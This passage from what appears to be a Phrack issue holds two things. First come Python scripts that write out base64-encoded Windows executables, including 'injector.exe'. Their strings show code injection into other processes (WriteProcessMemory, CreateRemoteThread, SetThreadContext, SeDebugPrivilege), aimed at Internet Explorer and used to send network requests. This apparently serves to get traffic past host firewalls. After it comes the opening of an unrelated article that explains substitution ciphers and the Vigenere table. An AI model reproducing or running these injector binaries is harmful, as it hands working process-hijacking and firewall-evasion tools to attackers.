AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/ gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/ VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv 912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4 /w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5 WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2 VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3 NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")

############################### tiny.py ###############################

from base64 import decodestring open("injector.exe","wb").write(decodestring(""" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T 14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC 5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+ ///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP

7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o

OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY

2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//

agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm

oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl

QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0 AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3 VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA""")

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Dynamic Polyalphabetic Substitution Cipher

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0e of 0x10

|=‑‑‑‑‑‑‑‑‑=[ A Dynamic Polyalphabetic Substitution Cipher ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Veins <veins at tristeza.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1 ‑ Introduction

1.1 ‑ First of all, a reminder. What is polyalphabetic substitution ? 1.2 ‑ Weaknesses in polyalphabetic substitution

2 ‑ IMPLEMENTATION OF DPA‑128

2.1 ‑ DPA‑128 used as a one way hash function

2.2 ‑ DPA‑128 used as PRNG

3 ‑ Acknowledgment

4 ‑ References

5 ‑ Source Code

‑‑[ 1 ‑ Introduction

In Phrack #51, mythrandir discussed the cryptanalysis of monoalphabetic ciphers and basic substitutions and transpositions. This paper discusses a different substitution known as 'polyalphabetic substitution' and how some mechanisms can be implanted to take advantage of its characteristics. This document will then focus on 'dynamic polyalphabetic substitution' which is an evolution of polyalphabetic substitution with key‑dependant s‑tables.

A "functional‑but‑still‑work‑in‑progress" cipher will be presented. It is a 128‑bits secret‑key block cipher that uses polyalphabetic s‑tables which are highly dependant of the key. The cipher, DPA‑128, consists in a simple function that makes 3 operations on the block. It is not a Feistel network but still respects Shannon's principles of diffusion and confusion. It has only been reviewed by a few people, so I strongly discourage its use as it has not proven anything yet. However, if you use it and have any comments, I'd be glad to hear from you, but remember, do not encrypt sensitive stuff cause someone will probably come, break the cipher and go spreading all of your secrets on IRC ;)

Finally, just to clarify a few things. I use the acronym DPA (for "dynamic polyalphabetic algorithms") in this document to refer to key dependancy in polyalphabetic substitution. I've seen people using the term "dynamic" for ciphers that used polyalphabetic substitution in a mode that uses a pseudo random vector (CBC for example). While I'll keep using the acronym, assume that key‑dependant substitution works in total abstraction of the mode and DPA‑128 has an implementation of both ECB and CBC modes as I'm writing. Also, while I have not seen a dynamic polyalphabetic cipher implementation it does not mean that all of the ideas in this paper are new. DES had some variants that performed key‑dependant substitutions by exchanging lines of s‑tables, and several ciphers use one‑way hash functions for subkeys.

‑‑‑‑[ 1.1 ‑ First of all, a reminder. What is polyalphabetic substitution ?

Polyalphabetic substitution is an hybrid between transposition and substitution.

Transposition consists in reordering the characters in the plaintext to produce the cipher:

Assume my secret message is:

THIS IS MY SECRET MESSAGE DONT READ IT, ARAM SUCKS

After transposing it in a 8 columns table, it becomes:

T H I S I S M Y

S E C R E T M E

S S A G E D O N

T R E A D I T A

R A M S U C K S

The cipher is produced by reading the columns instead of the lines: TSSTR HESRA ICAEM SRGAS IEEDU STDIC MMOTK YENAS

While substitution consists in interchanging the characters in the plaintext to produce the cipher:

Assume my secret message is:

THIS IS ANOTHER ATTEMPT TO PRESERVE MY PRIVACY

Substitution alphabet is a simple rearrangement:

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Y Z W X U V S T Q R O P K L M N I J G H E F C D A B

The cipher is produced by replacing the letter in plaintext by the new letter in the rearranged alphabet:

HTQG QG YLMHTUJ YHHUKNH HM NJUGUJFU KA NJQFYWA

Note that both these methods do not even require a key, the parties that wish to share the secret, have to share the "protocol" which is the number of columns for the transposition, or the rearranged alphabet for the substitution. In practice, there are methods to use keys with both substitution and transposition but in the end, both are insecure with or without a key. I won't go through the description of how you can break these, the methods were described in phrack #51 if I recall correctly and they are so simple that some tv magazines use these on their game pages.

Now let's get back to polyalphabetic substitution.

A transposed substitution table looks like this more or less:

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

B C D E F G H I J K L M N O P Q R S T U V W X Y Z A

C D E F G H I J K L M N O P Q R S T U V W X Y Z A B

D E F G H I J K L M N O P Q R S T U V W X Y Z A B C

E F G H I J K L M N O P Q R S T U V W X Y Z A B C D

F G H I J K L M N O P Q R S T U V W X Y Z A B C D E

G H I J K L M N O P Q R S T U V W X Y Z A B C D E F

H I J K L M N O P Q R S T U V W X Y Z A B C D E F G

I J K L M N O P Q R S T U V W X Y Z A B C D E F G H

J K L M N O P Q R S T U V W X Y Z A B C D E F G H I

K L M N O P Q R S T U V W X Y Z A B C D E F G H I J

L M N O P Q R S T U V W X Y Z A B C D E F G H I J K

M N O P Q R S T U V W X Y Z A B C D E F G H I J K L

N O P Q R S T U V W X Y Z A B C D E F G H I J K L M

O P Q R S T U V W X Y Z A B C D E F G H I J K L M N

P Q R S T U V W X Y Z A B C D E F G H I J K L M N O

Q R S T U V W X Y Z A B C D E F G H I J K L M N O P

R S T U V W X Y Z A B C D E F G H I J K L M N O P Q

S T U V W X Y Z A B C D E F G H I J K L M N O P Q R

T U V W X Y Z A B C D E F G H I J K L M N O P Q R S

U V W X Y Z A B C D E F G H I J K L M N O P Q R S T

V W X Y Z A B C D E F G H I J K L M N O P Q R S T U

W X Y Z A B C D E F G H I J K L M N O P Q R S T U V

X Y Z A B C D E F G H I J K L M N O P Q R S T U V W

Y Z A B C D E F G H I J K L M N O P Q R S T U V W X

Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

This is known as the "Vigenere Table", because it was invented by Blaise Vigenere (a French mathematician, if you care). Unlike transposition and substitution, a key is required.

Assume my secret key is:

BLEH

Assume my secret message is:

LAST ATTEMPT

The ciphertext is the intersection of each character of the secret key with each character of the secret message. Key characters are seeked on the very first line, and message characters are seeked on the very first column. Since the key is shorter than the message, it is padded with itself so that it becomes:

BLEHBLEHBLE

If it was longer, then either the message would be padded with random crap or the key would be truncated (this is more common).

The cipher is obtained by replacing a letter in the message by the intersection of current message character and current key character in the table. The secret message becomes:

MLWABUXLNAX

As you may notice, even though a character may appear two or more times in the plaintext, it is not encrypted the same way in the ciphertext depending on which character from the key is used for the substitution. This is what "polyalphabetic" means in "polyalphabetic substitution". It was known for a while as the "unbreakable cipher" and a variant was used successfuly during Second World War by the Resistance against the Germans.

